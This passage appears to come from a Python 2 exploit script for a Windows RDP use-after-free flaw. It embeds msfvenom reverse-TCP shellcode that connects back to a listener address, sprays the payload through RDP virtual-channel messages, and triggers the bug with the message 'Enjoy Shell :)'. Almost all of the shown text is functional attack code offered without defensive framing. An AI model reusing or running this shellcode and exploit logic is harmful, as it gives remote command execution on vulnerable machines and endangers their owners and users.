    # Reference: msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.0.175 LPORT=4444 -f python
    reverse_shell = '\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00' + pack('>H', lport) + socket.inet_aton(lhost) + '\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5'

    shellcode = makeKernelUserPayload(reverse_shell, pool_size)

    payload = pack('<Q', pool_shellcode_address) + shellcode
    for i in xrange(0x1000):
       sendToVirtualChannel(tls, fake_channel_object, initiator, 1006)
       for i in xrange(10):
          sendToVirtualChannel(tls, payload, initiator, 1006)

    #raw_input('Press Enter To Trigger UAF')
    print '[-] Triggering Used After Free'
    print
    print '[*] Enjoy Shell :) [*]'
    print 
    tls.close()

<p>